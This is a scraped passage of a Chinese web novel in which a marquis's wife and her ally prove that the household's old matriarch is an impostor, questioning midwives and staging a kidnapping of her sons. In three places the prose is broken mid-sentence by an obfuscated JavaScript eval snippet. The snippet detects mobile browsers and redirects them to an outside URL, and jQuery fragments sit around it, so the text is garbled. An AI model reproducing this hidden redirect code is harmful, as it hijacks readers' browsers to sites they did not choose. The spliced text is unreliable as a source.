慕子叙心中感叹,或许他应该早点想到观一观天象的,可是想和杜明月见面的心愿实在太迫切,让他竟然忘记了这些细节,没有等到想见的人,却等到了这样一场大雨。 此刻,他第一次感到了心烦意乱和坐立不安。 慕子叙缓缓走回桌子前坐下,抬头望着房门的方向,一边暗暗期待杜明月会出现,一边又不想她冒雨来见自己,心中十分的纠结。 又过了许久,慕子叙不得不承认,他内心深处还是期待杜明月能来的。 于是,他叫来了茶楼的小二,让他端来驱寒茶,打算亲自煮,这样杜明月若是能来,便可以立马喝上他亲手煮的茶。 慕子叙专注的在屋内煮茶,茶叶的颜色逐渐在水中晕染开,茶水开始沸腾时,突然房门被推开了,一股寒气或者杜明月身上特有的体香传了进来。 慕子叙煮茶的手一顿,一双漆黑的眸子亮如繁星,嘴角立马上扬,脸上是克制不住的欣喜。 但很快,他又意识到不妥,急忙将笑容压下,努力克制心中的欣喜,抬头时面色恢复如常,让人觉得淡淡的,十分平静。 “夫人来了,请坐。”慕子叙声音温润,不经意间抚平了杜明月莫名躁动的内心。 杜明月脸上带着笑容,见慕子叙表情淡淡的好像也看不出来多高兴,她的内心竟然莫名其妙的失落、沮丧了一下。 杜明月在心中暗暗告诉自己:慕公子一直是这样淡淡的,如山间白雪,不管对谁都是这么冷淡疏离的,自己在他眼中也没什么不同。 这么一想,杜明月失落的情绪便舒缓了许多,脸上依然维持住了笑容。 “慕公子,抱歉,我今日出门遇到了些事情。”杜明月想了想,她和慕子叙的关系也没有亲密到,要将自己的事情事无巨细的告诉他,于是刻意隐瞒了自己的遭遇。 她继续道,“不久前才看到你留的字条,我便立马赶过来了。” 慕子叙闻言,手中煮茶的动作一顿,立马抬头关心道,“出了什么事?你没有受伤吧?” 面对慕子叙突然的关心,杜明月好像在他眼中看到了情绪起伏,心中觉得有些怪怪的,但又不明白那是什么,只能愣愣的摇头道,“嗯,我没事。” 听到这话,慕子叙显然松了一口气。 正逢驱寒茶煮好,慕子叙立马给她盛了一盏,不仅拉过她的手,亲手将茶盏塞了过去,还一脸关心的道,“这是驱寒茶,你冒雨来,容易受寒气,把这个喝了暖暖身子。” 杜明月愣愣的看着他这一连串的动作,总觉得慕子叙目无表情的说着这些,好像有种面冷心热的感觉,而刚才他手心触碰自己手背时的温度,竟温暖的让她心生了几分眷恋。 她喝完驱寒茶,放下茶盏后,原本只是无意识的将两手放在一起揉搓了一下,慕子叙却以为她手冷,直接伸手用自己的大手包裹住了她的小手,在手心里暖着。 这个举动,在杜明月眼里看来是有些出格的,她完全愣住了,一脸不敢置信的看着低垂下眉眼,专心给自己暖手的慕子叙。 他这是做什么? 杜明月心中有个声音在呐喊,她晃了神,完全没有注意到自己的脸颊此时已经染上了一抹红晕,微微发烫。 杜明月晕晕乎乎的,也不知道到底过了多久,慕子叙这才松开他的手,微微笑道,“现在应该暖和了吧?” “嗯?嗯!”杜明月回过神来,慌乱的急忙收回自己的手,端正坐好,不知为何心虚的不敢看慕子叙,又拿起一旁的茶大口喝了起来。 慕子叙却只觉得她现在的模样很可爱,眼底的笑意更深了,如果此时杜明月转头,大概可以看到他眼底掩藏不住的喜欢和深情。 慕子叙轻咳了一声,收敛起笑容,装作无事发生,缓缓开口道,“今日,我约侯夫人相见,确实是有很重要的事情要说,而且这次找到了最关键的证人。” 杜明月一听这话,也忘记了刚才的暧昧和尴尬,猛地抬头,目光炯炯有神的盯着他道,“是关于段老夫人的真正身份?” 慕子叙点头,“现在的段老夫人根本不是岑婉心,她就是岑宜苗冒名顶替的。” 杜明月听了这话,惊得瞠目结舌,同时一脸困惑和不解的道,“竟然是真的?可是上次的生辰宴,岑家明明来人了,也亲眼见到了现在的段老夫人,为什么他不戳穿?” 杜明月不怀疑段老夫人冒名顶替,甚至杀害了自己的姐姐,她只是想不明白,为何岑家对此事不闻不问,态度如此让人寒心。 慕子叙听了她的话沉默了片刻,半晌才道,“那就只有一种可能,他们确实知情,只是为了某种利益捆绑在一起,他们做了约定,岑家这才会同意不揭穿她的所作所为。” “可那是一条活生生的人命啊,岑婉心就这么莫名其妙消失了近二十年,他们岑家竟然还能接受和现在的段老夫人达成协议,这和狼狈为奸有什么区别!” 慕子叙看着杜明月义愤填膺又惋惜的模样,安抚道,“天理昭昭,恶人总会得到报应的,你不要急。” 慕子叙的话再一次安抚了杜明月的情绪,她点了点头道,“我知道了。” “我已经派人去将当时的证人接来京城,你再等几日,便可亲自审问她们。”慕子叙温柔开口,杜明月点了点头。 杜明月抬手,正准备再喝一口驱寒茶时,突然听到门外走廊传来了吵吵闹闹的声音。 她仔细听过去,竟然是段骆岐的声音,她的脸色倏地一变,完全没有想到段骆岐竟然会发疯追到这里,她带着几分歉意看向对面的慕子叙。 慕子叙的眼中并没有任何不耐烦,反倒十分关心和心疼的看向杜明月。 四目相对,杜明月又觉得耳根莫名发烫了,她猛地起身道,“抱歉慕公子,好像给你惹麻烦了。” 第一百三十七章 为什么不反驳 说着,杜明月转身就准备走,但身后的慕子叙却也急忙站了起来。 “我没事……”慕子叙的话还没有说完,房门突然被人从外面推开了,两人纷纷抬头望向门口。 门口的段骆岐此刻早已是一脸怒气,看到杜明月果然和慕子叙站在一起,顿时情绪失控,怒吼着冲了进来。 “你为什么在这里!”段骆岐冲上去准备揪住慕子叙的衣领,却被慕子叙一个伸手,挡了回去。 被下了面子的段骆岐更加癫狂,如同一只发狂的狮子。 他立马转头恶狠狠的看向杜明月道,“我还以为你想通了,真的要和我好好过日子了,没想到,你竟然还和这个男妓不清不楚的纠缠着!” 杜明月不悦的蹙眉,不知为何,这些侮辱性的话语,以前也不是没听段骆岐说过,可今日她格外生气。 或许,她是不想慕子叙平白被人误会辱骂,背负莫须有的骂名吧。 杜明月心里这么想着,朝着段骆岐冷喝了一声道,“住嘴!我和慕公子清清白白,什么事都没有发生!” 段骆岐却看着杜明月冷笑,“是吗?难道奸夫淫妇真的发生了什么,他们会自己承认吗!” “真可惜,我没有抓到你们现行!不然,我一定让全京城的人都来看看!” “够了!” 杜明月一声怒吼,抬手朝着段骆岐的脸上狠狠打了一个耳光。 “段骆岐,要我说多少遍,我和慕公子之间什么都没有发生!” 段骆岐的脸被打得偏向了一边,此刻好像突然冷静了下来,意识到自己刚才失控的多么可怕,那么多不堪入耳的下流话,他竟然就那么自然的说出来了。 段骆岐抬头,用心痛、不知所措的眼神看向杜明月,此刻他觉得自己的心在滴血,不愿意为此就放杜明月离开,却也不知道两人的未来究竟在哪里,一脸茫然。 “我……”段骆岐颤抖的伸出手,想要触摸杜明月的脸庞,却被她一脸嫌弃的躲开了。 “明月,只要你认错,发誓再也不见他,我当做什么都没有发生过,好不好?嗯?”段骆岐眼眶猩红,直直的盯着杜明月,但奈何杜明月根本不肯正眼瞧他。 “明月……我……”段骆岐还想说什么,却被杜明月打断了。 “你怕是忘了,那我再提醒你一次,自那日我出了东宫,回府后我立马和你要了和离书,不管你如何拖延,我们之间早就有名无实了!” 杜明月提醒道,“我们之间再无重修旧好的可能!” 这话对于段骆岐来说,无异于又是一个巨大的打击,他沉默了许久,才终于固执的开了口。 “就算你要和离,可你现在还是侯府的夫人!你一日是侯夫人,我就一日不许你丢了侯府的颜面!” 段骆岐哑着嗓子对杜明月道,“走,跟我回去!” 说时迟那时快,还没等其他人反应过来,段骆岐一把握住了杜明月的手腕,而他正要用力将她拽到自己身边来时,慕子叙突然伸手按住了他的手。 一旁的红豆看着这一幕,正准备抬手推开段骆岐时,门外一道清丽的女声传了进来。 “哎呀,本公主不过才出去片刻,怎么回来多出一人来,你们在干什么,好热闹啊。” 众人抬头,便看到满头珠翠,穿得锦绣辉煌的宇阳公主走了进来,脸上还挂着好奇的笑容。 段骆岐一惊,急忙松开杜明月的手给宇阳公主请安行礼。 一旁的杜明月也按例给宇阳公主行了礼,宇阳公主点点头,轻描淡写的道,“都坐吧。” 宇阳公主落座前,抬眸深深看了眼一旁一言不发的慕子叙,见他面无表情,轻轻抿了抿唇坐下后,再次抬眸看向杜明月和段骆岐。 “本公主今日约侯夫人出来,是有生意上的事情想要请教,拂星公子是我叫来作陪的。我实在没想到侯爷会这么着急的找到这里,要是真的闹了什么误会,但显得是我思虑不周了。” 宇阳公主故意这么说,就是在告知段骆岐慕子叙是她的人,和杜明月没有关系。 果然,段骆岐亲耳听到这话,大为震惊,以前坊间传闻过这种说法,他也不是没听过,但总觉得不可能,可今日一见,看来此言不虚。 段骆岐看向杜明月,心里的一颗石头暗暗落了地,但又立马开始忐忑,生怕自己今日的所作所为得罪了宇阳公主。 想到这里,他又急忙讨好的看向宇阳公主,见她好像并没有对自己动怒,这才稍微放下心来。 “没有,没有误会,公主言重了。”段骆岐讪讪的笑着,宇阳公主点点头,笑容却逐渐收敛道。 “那侯爷还有什么重要的事情,一定要现在说吗,如果没有的话,我还有些话想和侯夫人说。” 宇阳公主话落,段骆岐立马起身,“没有,没有什么特别的一定要现在说。那微臣就先告退了。” 宇阳公主闻言,淡淡点点头,段骆岐离开前,还不忘回头看了一眼杜明月。 此时杜明月脸上虽然没有什么表情,但段骆岐就是觉得她好像不太高兴,冷冷的目光让她看起来显得有些不悦。 是因为我误会她的原因吗? 段骆岐下意识这么想着,内心也不觉紧了一下。 此时,他才真正觉得懊恼后悔,他不该这么冲动的,现在杜明月对他一定极其失望。 越想,段骆岐越觉得沮丧,只觉得双腿沉重,连自己是怎么出的屋子都这不知道。 此时的杜明月内心确实有着莫名的不快,但却不是因为段骆岐。 她假装不在意的抬眸,将目光不经意的扫向慕子叙。 刚才宇阳公主暗示慕子叙是她的面首,慕子叙却没有反驳,杜明月就感觉心里好像怪怪的,有些烦闷。 她不知道她到底想听慕子叙说什么,也不知道想从他脸上找到什么答案,但她就是下意识觉得不该如此。 在她心中,慕子叙是山间白雪,皎皎明月,即便眼下做了南风馆的拂星公子,也会是志趣高雅,洁身自好之人才对。 可是他为什么不反驳?难道坊间那些传言都是真的? 第一百三十八章 生气的杜明月 杜明月心烦意乱,见慕子叙迟迟不反驳,她不得不接受这个事实,一颗心莫名下坠,有些失望。 慕子叙一直目不斜视,但其实早已注意到杜明月看向自己的目光,他默默攥紧自己的双手,压下心中想要向她解释的冲动。 不,现在还不是时候,再等等。 慕子叙抬头看向宇阳公主道,“公主怎么突然来这里了?” 原本正在打量杜明月的宇阳公主立马转过脸,看向慕子叙道,“我是来找你的,有重要的事情要说。” 话落,她似有深意的将目光落在杜明月的脸上,杜明月一愣,有些尴尬的立马起身。 “我和慕公子要说的事情也都说完了,既然公主有事要单独和慕公子聊,那我先告辞了。” 杜明月动作急切中甚至带了一丝慌乱,她也不明白自己到底是怎么了,但心里只有一个想法,就是立马逃离此地,不想面对这两个人。 宇阳公主眸光幽深的看着杜明月慌乱的动作,突然开口道,“等等,本公主还有几句话想告诉你。” 杜明月身形一愣,慕子叙脸上也浮起一抹一样,微微蹙眉不悦的看向宇阳公主。 宇阳公主却好像故意不去看他一般,只是定定地看向杜明月,直到她不得不转过身来。 “慕公子是做大事的人,是不会被情爱困住手脚的。”宇阳公主声音淡淡的,但杜明月却从她的话里听出了几分警告的意味。 “所以,希望侯夫人若无重要的事,尽量不要私下见慕公子了。我不想因为你,让他内心动摇,受到情爱影响。” 宇阳公主的语气有些冰冷,听得杜明月只觉得周身一片寒意。 她这是什么意思,是说自己会影响慕子叙,耽误他做大事吗? 杜明月眉头紧蹙,不知为何,这话听得她内心一阵恼火,宇阳公主这是把她当成什么人了。 她暗暗攥紧袖子下的双手,强压着内心的怒意开口,让自己看起来尽量显得冷静克制。 “宇阳公主这话听着似乎有失偏颇。”杜明月一字一句,十分清晰的道,“我和慕公子,是君子之交淡如水,我们之间没有任何逾矩的行为,情爱二字更是谈不上!” 宇阳公主静静地看着她,杜明月不知为何心里更气了,她突然道,“况且,我没有横刀夺爱的习惯,这一点公主大可放心,告辞!” 说完,杜明月转身就走,完全没有注意到,此时慕子叙眼里有几分受伤的神情。 杜明月一路气呼呼的下了楼梯,动作快的红豆都要紧赶几步才能追上来。 “主子?主子!”红豆出了大门,看到杜明月竟然连马车也不坐,只是闷着头一直走,完全不顾自己在她身后不断呼唤,只能叹口气,再次小跑跟上去。 杜明月也不知道自己究竟走了多久,只是当她停下来,松掉心中的这口气,整个人突然变得十分沮丧,甚至有些恍惚。 她失魂落魄的继续走着,追上来的红豆担心的一把拉住她道,“主子,你到底怎么了,好像从刚才开始就失魂落魄的?” 红豆甚至认真思索了一下,突然恍然大悟道,“一定是因为公主的那些话对不对?” 杜明月一惊,好像有种被人看穿心事的慌乱感。 “不,不是的。”杜明月自我安慰道,“其实,宇阳公主也没说什么重话,或许是因为她太喜欢慕公子,所以看到他身边出现旁的女人才会这么紧张吧?” 杜明月尴尬的笑道,“同作为女人,我能理解的,而且我刚才也都和她说清楚了,以后不会再怀疑我了。” 红豆用一种怀疑的眼神打量杜明月,总觉得她今天好像是有哪里怪怪的,但一下子又说不上来。 “我真的没事!”杜明月见她半信半疑的模样,再次认真强调了一遍。 或许谎话说多了,真的会信。 杜明月突然觉得心里轻松多了,好像也没有那么难过了,大脑也恢复理智,变得清醒了起来。 她想起今日去见慕子叙的最初目的,查清段老夫人的身世,这才是她现在最该操心的事情。 对,没错。现在什么都不要想,还是先解决好段老夫人的事情再说。 杜明月在心中默念这话,之后长长舒了一口气,这才完全恢复了平静的心情。 “走吧,咱们回府吧。”杜明月说完,这才想起没有马车,“马车呢?” 红豆见她没事了,立马开心的道,“在后面跟着呢!” 红豆微微侧身,杜明月就看到了两人身后不远处,果然有个车夫牵着马不远不近的跟在后面。 杜明月微微一笑,带着红豆上了马车,两人直接回到了段府。 不出杜明月所料,果然段骆岐一早就在府里等她,得知她回了府里,立马不要脸的再次贴上来。 好在杜明月早就叮嘱过红豆,红豆犹如铜墙铁壁一般,将段骆岐远远的堵在了摘月居的大门口,让他不仅看不到杜明月,甚至说话的声音也半点传不进杜明月的耳朵里。 此时的杜明月正将自己关在房间里,专心致志的在写拜帖。 没一会拜帖写成了,杜明月拿起来仔细端详。 “不知道岑府收到这拜帖会是什么反应,这岑府也太奇怪了。” 杜明月若有所思的自言自语,“岑府可是段老夫人的娘家啊,不管是真的假的,他们明明都能分辨的出来,为什么不说呢?” “如果是段老夫人做了许诺,那到底是什么样的许诺,能让岑家心甘情愿的闭嘴这么多年,真的太奇怪了,怎么想都想不通?” 杜明月用笔杆挠了挠脑袋,一副百思不得其解的样子。 “现在一切还只是猜测,先把拜帖送了,试探一下他们的反应吧。”杜明月暗下决心,收好拜帖。 没一会,红豆开心的回来了,人还没进门,开心的声音先飘了进来。 “主子,我已经把人赶跑了,他今天肯定不会来了。”红豆一脸开心,“他去柳姨娘哪里了。” “嗯。”杜明月根本不关心段骆岐去哪里,只是随口应着,就想封好的拜帖递给红豆。 第一百三十九章 当年的稳婆 “明日,找个靠谱的人送到岑家,岑家的回府要一字不落的说给我听。”杜明月嘱咐着。 红豆拍着胸口打包票道,“主子您放心,这件事我一定给您办妥了。” 杜明月点了点头,见外头的大雨已经转小,雨声淅淅沥沥的,让人听了内心莫名的觉得安静和舒服。 红豆替杜明月整理好书案,主仆两人便在窗前一边赏雨,一边吃着点心闲聊了起来,难得度过了一段悠闲的时间。 翌日,红豆一早便趁着府里没人注意偷偷出门,出门后在隐秘的茶楼中,将拜帖交到了慕子叙安排来接应的送信人手中。 红豆不忘将杜明月的话告诉他,“我们主子说了,岑府那边的回话一定要一字不落的转达。” 那小厮点点头,立马将拜帖贴身收好,小心警惕的出了房间。 等小厮走后不久,红豆也十分谨慎的从屋里出来,四下打量没发现什么异常,这才脚步匆匆的下楼,一路朝着段府走去。 不出一日,去送信的小厮便传话回来了。 红豆将那小厮的话原原本本都告诉了杜明月,杜明月眉头微微蹙起,心中明了,那岑家果然是知道内情的,不然不会这么抗拒段府递出去的拜帖。 杜明月暗暗想着,看来岑家是一点都不想掺和进段府的事情。 他们如此排斥和段老夫人接触,那么最大的可能便是,双方虽然达成了约定,但岑家内心其实也是很不认可段老夫人的做法,心中排斥,所以无法做到毫无嫌隙的往来。 杜明月突然意识到,如果事情真的如她猜想的那般,那其实岑府和段老夫人之间也并非是铁板一块,外人无法插足。 如果她也能给岑家想要的,甚至能比段老夫人做的更多,那岑家说不定立马就会摒弃和段老夫人的约定,站出来揭发她也不是不可能。 这么想着,杜明月的眼睛瞬间亮了起来,接下来她调查和努力的方向这就有了。 “行,我知道了。”杜明月眉头舒展,“这次送拜帖的目的达到了。” 杜明月微微一笑,红豆突然又想起了另外一件事。 她急忙从怀中掏出一张纸条,递给杜明月道,“今日那小厮还给了我一张纸条,说是公子给您的。” 杜明月听到慕子叙的名字,整个人微微一愣,原本平静的心绪突然又起了波澜。 她不自觉的想起了那日宇阳公主说的话,面色顿时冷了几分,极力克制内心深处升起的某种莫名的情绪。 红豆见她迟迟没有伸手将纸条接过去,有些疑惑和担心的看着她。 杜明月轻轻的叹了口气,终于朝着红豆伸出手,她动作缓慢的打开了纸条,下一瞬看到纸条上的字立马站了起来。 “走,去茶楼见慕公子。”杜明月说着就将那纸条塞入怀中,快步走向房门。 她身后的红豆还没有反应过来是怎么回事,就看到杜明月已经出了门槛,她只能立即跟着上。 到了茶楼,杜明月推开熟悉的房门,果然看到屋里,除了慕子叙,还另外有两个上了年纪的婆子。 慕子叙看到杜明月进来,立马起身,目光专注的落在她脸上,她嘴角微微扬起,眼中还带了一丝小心翼翼的讨好。 然而这一次杜明月进来后,目光只是短暂的落在他身上,立马转而落在那两个婆子身上。 在慕子叙看来,今日的杜明月他冷冷的,同自己十分疏离,他心中立马明白一定是因为宇阳公主的那番话,才让她误会自己,与自己刻意拉开距离。 慕子叙一想到自己努力了这么久,好不容易让杜明月与自己似乎亲近了一点,现在却又好像一夕之间一切回到了原点,内心便十分的沮丧。 而他又无法立马将话与她讲明,解开误会,因此内心更是一直饱受煎熬,这几日甚至都有些茶饭不思了。 杜明月自己落了座,除了刚进门和慕子叙对视打了招呼,之后当真没有再看他一眼,因此也完全没有注意到他的眼底竟然有了黑眼圈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人抬头,几乎是异口同声道,“你问吧,只要是我们知道的都会告诉你。” 杜明月心里暗暗松了口气,立马问道,“你们再认真的回忆一下当时的场景,你们有没有看清楚段老夫人的脸,或者是身上哪些有特殊印记的地方?” 此时杜明月心中根据刚才两位稳婆的话,几乎已经可以确认,两次生产的段老夫人并不是同一个人。 而第二次生产时的女人,才是现在镇南侯府里的那个段老夫人, 她期待的看向眼前的两个稳婆,她们已经在努力回忆了。 给段老夫人接生第一胎的稳婆突然道,“对了,我想起来了,当初我接生时,在段老夫人的小腹看到了有一颗痣。” “当时我还随口开了句玩笑,说从段老夫人肚子里出来的孩子,日后一定心怀青云志,能一路平步青云,说不定还能封侯拜相。” 稳婆认真回忆道,“当时段老夫人很高兴,还给了我双倍的酬金。” 听到这话,给段老夫人接生二胎的稳婆很是意外,甚至都有些不敢相信。 “什么段老夫人是那么大方的吗?我那次接生的时候,她还说什么我力道太大了,差点伤到胎儿,准备给我酬金减半,还是我大吵大闹才保住了全部的酬金。” 杜明月眉头一挑,心里更加确定了,这种抠门的事,确实是现在的段老夫人能干出来的。 “那你当时有注意到她小腹的痣吗?”杜明月急忙询问,那稳婆十分确定的摇摇头。 “没有,而且我看的很清楚。因为她是难产,当时费了我很大的一番力气,她小腹的肌肤每一寸我都看的清清楚楚,根本没有什么痣,也没有任何会遮挡住黑痣的伤疤。” 听到这话的杜明月沉默了,其实她的心里也清楚,这件事几乎不用再查下去了,现在的段老夫人就是假的。 连日来的思索,让杜明月现在十分确定,当初在岑婉心嫁入段家后不久,便生下了儿子段骆岐。 而后,岑宜苗出现在段老侯爷眼前,两人很快暗度陈仓的看对了眼,之后岑宜苗神不知鬼不觉的取代了岑婉心的位置,用了她的名字,接替了她位置,也就顺理成章的做了段骆岐的母亲。 那时的段骆岐过于年幼,甚至连一点记忆都没有留下,因此直到现在他都不知道,现在的段老夫人根本不是他的亲生母亲,只是养母,还是有杀母之仇的养母。 之后,岑宜苗做了段府的女主人,为了掩埋这段过去,不知到底用了什么手段,将段府最初那些和岑婉心有过交集或者一面之缘的仆从全部换了一批。 再之后,便是生下段骆霖和段骆芙,只有他们两人才真正是现在段老夫人的儿女。 杜明月正出神的想着,就听到耳边传来了慕子叙的声音。 “伴竹,你先送两位离开吧。”慕子叙话落,伴竹立马客气的带着两位稳婆离开。 慕子叙抬头望向杜明月,温柔出声问道,“你接下来想怎么做?需要我帮忙吗?” 杜明月内心一窒,不知为何,宇阳公主的那些话,又在耳边出现了,她默默攥紧了手指。 说实话,她是想拒绝的。但眼下在这件事上,又实在没有比慕子叙更合适的帮手人选了。 慕子叙见她犹豫沉默了,以为她会拒绝自己,眼底立马有了失落和沮丧。 但让他没想到的是,下一瞬杜明月便开口,语气十分认真和坚定的道,“确实有一件很重要的事,需要慕公子帮忙。” 慕子叙的眼睛瞬间亮了起来,他急忙点头道,“说吧,不管是什么忙,只要我能做到的,我一定帮你,如果是我做不到的,我也会想办法将事情做成。” 听到这话,杜明月又是一愣,不知道是不是她的错觉,今日总感觉慕子叙在自己眼前没有了一点儿以往如松间白雪、山间明月的清冷和疏离,反而有种小心翼翼的讨好和亲近。 杜明月被自己心中的想法吓了一跳,她抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244465|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇试图将这些想法从自己脑子里赶出去。 再抬头时,她看向慕子叙的眼神也恢复如常,淡淡的,透着一点疏离。 “慕公子,没有那么夸张,我的想法慕公子轻轻松松的就能找人办道。” 说着,他也不和慕子叙绕弯子,直接说出了自己的全部计划道,“我想让设计绑了段骆岐和段骆霖,再通知段老夫人,让她做出抉择只能救一个人。” “你的意思是,”慕子叙接过杜明月的话继续道,“段老夫人一定会救自己的儿子,再设计让段骆岐得知自己被放弃,让他发现段老夫人的**?” 杜明月点点头,“对,我是这么想的,不过说实话,段老夫人也是挺狡猾的,她上次已经察觉到不对劲,觉得我可能知道了她的过去和身世,还想要**来着……” “什么!”慕子叙的眼睛陡然睁大,看向杜明月的眸子里闪过一抹心悸和后怕的情绪。 太不应该了,他竟然这么粗心,没有安排人时刻躲在暗处保护她的安全,害她差点坠入险境。 慕子叙暗暗攥紧了双手,浑身也因为后怕和悔意而微微颤抖。 杜明月被他突如其来,又十分剧烈的反应吓到,一时间也来不及细想,急忙安抚他道,“也不是什么大事……” 她的话还没有说完,就被慕子叙气恼的打断了,“你的性命怎么不是大事?在我这里没有什么比你的安全更重要。” 慕子叙这话一出,房间内的气氛顿时变得沉默尴尬了起来。 杜明月眨着一双清澈疑惑的眸子看向慕子叙,觉得自己是不是听错了,又觉得是慕子叙这话说的未免太夸张了。 她的心跳突然不受控制的快速跳了两下,难道在慕子叙心里,她真的这么重要吗? 不知为何,这几日莫名低落的心情,好像在这一刻得到了缓解。 杜明月和慕子叙四目相对,眼神专注而认真的看了对方许久,直到杜明月猛然又想起宇阳公主的话,这才回神,低下头来。 第一百四十一章把我留下 杜明月强压下心头的胡思乱想,让自己专注在段老夫人这件事上。 她抬头道,“先不说这些,只说**段骆岐和段骆霖的事。” 慕子叙闻言一愣,也察觉到自己有些失态了,立马收敛眼中的情绪,点了点头。 “好,你的意思我明白了,这件事交给我。”慕子叙克制着自己的情绪,向杜明月做出了承诺。 “好,那多谢慕公子,我们先告辞了。”杜明月说完,看了眼红豆,便起身离开了。 慕子叙跟着起身,眼中虽然满是不舍,但却说不出一句挽留的话,只能安静的看着她离开屋子,消失在楼下的大街上。 三日后,段骆岐和段骆霖一起出门办事,半路上,却突然被人套了麻袋,一脚踢在了地上。 兄弟两人在麻袋里挣扎,口中还大喊大叫着恐吓威胁,但没想到来人完全不怕他们,甚至直接对他们拳打脚踢了起来。 “你们竟敢当街殴打镇南候,真是没有王法了!” “没错!你们要是识相,现在就放了我们,不然我们让你们死无葬身之地。” 兄弟二人一开始还大声的嚷嚷,结尾他们越大声,对方打的越用力,他们顾不上说话,一阵鬼哭狼嚎之后,甚至连呻吟的力气都没有了。 突然,段骆霖吃痛的大喊一声,也不挣扎了,几乎一动不动了,声音颤抖的道,“大哥,我好像被踢骨折了……” 此时兄弟二人终于明白,这次是真的遇上硬茬了,不敢再叫嚣,立马改变了态度开始求饶。 “好汉,别打了,别打了,有什么话,咱们好好说,你们先把这个松开好不好!” 段骆岐想到自己上次被**,自己求饶之后,那歹徒立马忍不住和自己交谈,他以为这次也一样,但没想到这次的歹徒竟然真的能全程不说话。 就在段骆岐还在想接下来怎么办时,就感觉到他被人扛到了肩膀上带走了。 虽然有微弱的光线从麻袋的间隙中透进来,但段骆岐眼前却始终一片黑暗,完全看不到外面的一切。 段骆岐有种严重的失重感,只感觉自己在绑匪肩上呆了很久,才被放了下来,完全不知道自己到底身在何处。 如果不是身边传来段骆霖痛苦的呻吟声,段骆岐甚至以为周边只剩下自己了。 之后,他便听到了脚步渐行渐远的声音,他正想动一动,想办法解开麻袋时,却又被人打了当头一棒。 他这时才明白,原来还有人专门在看守自己,这些人到底为什么要**自己和段骆霖。 又等了不知道多久,段骆岐觉得自己好像都要晕过去了,突然听到不远处传来了一阵哭求声。 “你们到底是谁,为什么要绑我的儿子,你们要多少钱,我都给你们!” 段骆岐和段骆霖猛地惊醒,这些绑匪竟然把自己的母亲也绑了过来。 “母亲!” “母亲!” 段骆岐和段骆霖几乎是异口同声开口,挣扎着向前。 “要不,你们把我留下,把我儿子放了行不行!”被蒙着眼睛带来的段老夫人被揭开眼罩,看到严严实实的麻袋上,甚至有血迹渗出,一下子腿软,痛哭流涕起来。 “我已经这把老骨头了,活不活无所谓,求你们一定要把我儿子放走!”段老夫人哭得几乎站不稳。 两个戴着面具的黑衣人将段老夫人往前一推,段老夫人颤抖的朝段骆霖的方向伸出手。 “想让我们放人,也可以。”其中一个面具男幽幽的开口道,“这两人,你只能选一个带走,你选吧?” 段老夫人一愣,抬头不敢置信的看着对面的几人,“什么,只能放走一个?” “没错,二选一。”黑衣人又道,“你可以他一起走。” “我选霖儿,放霖儿走!”段老夫人几乎没有任何犹豫的就喊了出来,段骆霖立马在麻袋里呜呜咽咽的哭了出来,而他身边的段骆岐却完全愣住了,只觉得自己好像被人抛弃了一般。 不远处半山腰的亭子上,头戴帷帽的杜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244466|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明月和带着面具的慕子叙远远的看向这边,听到段老夫人做出了选择,心里都暗暗松了口气。 段老夫人果然露出了狐狸尾巴。 然而,让杜明月没想到的是,下一瞬,又听到段老夫人突然大喊道,“放霖儿走,我留下来陪岐儿。” 听到这话,杜明月神色一滞,握紧了眼前的栏杆。 她实在是没想到段老夫人竟然会突然来这么一出,实在是太有心机了,若真的如她所愿,那不仅能放走段骆霖,还能全了她在段骆岐心中的爱子之心。 慕子叙的表情也冷了下来,转头看向杜明月时,眼里立马又充满了柔情,“现在怎么办?” 杜明月想了想道,“今日想逼段老夫人露出狐狸尾巴是不行了,事已至此,先都放了吧。” 慕子叙一愣,有些疑惑的再次问道,“你确定?” 杜明月点点头,“不过,我并没有打算真的就此作罢,等他们回去时,半路上,再找个机会,只把段骆霖给绑回来吧。” 慕子叙立马答应,拿起手中的信号弹一拉,一道青色的**便腾空而起。 远处小院中,那几个头戴面具的黑衣人一看,便立马彼此对视了一眼,低头对段老夫人道,“算了,我们抓错人了,你们都走吧。” 段老夫人闻言,激动的立马就给黑衣人磕头,那些黑衣人也不理她,转头就走。 等那些人走远,段老夫人颤颤巍巍的立马先解开了两个人的麻袋,之后便一把抱住两人抱头痛哭。 三人一路跌跌撞撞,惊魂甫定的走在竹林中,路上叫了一辆马车,没有丝毫的耽搁,直奔侯府而去。 就在段老夫人以为不会再出什么波折时,马车经过护城河边,突然有人出手,用剑劈开了车厢,段骆岐立马护着段老夫人跳下了马车,段骆霖紧随其后。 段骆岐本还想施展自己的拳脚功夫应付一下,但看到又有接二连三的蒙面**冲出来时,他惊出了一身冷汗,他手无寸铁,根本抵挡不住这么多人。 第一百四十二章 背后有人指使 在段骆岐的深思熟虑之下,觉得眼下只能是三十六计走为上计。 